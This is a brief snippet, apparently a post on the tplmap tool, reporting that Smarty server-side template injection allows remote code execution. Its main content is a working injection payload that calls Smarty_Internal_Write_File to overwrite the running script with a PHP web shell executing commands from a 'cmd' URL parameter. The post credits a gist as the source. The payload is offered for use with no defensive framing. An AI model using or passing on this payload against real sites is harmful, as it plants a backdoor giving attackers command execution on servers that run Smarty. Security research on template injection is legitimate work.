tplmap
tplmap copied to clipboard
Smarty is possible for RCE
Payload: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME, "<?php passthru($_GET['cmd']);?>", self::clearConfig())}
Source: https://gist.github.com/aancw/492581f5faed962993c71cf233d52942
Thanks.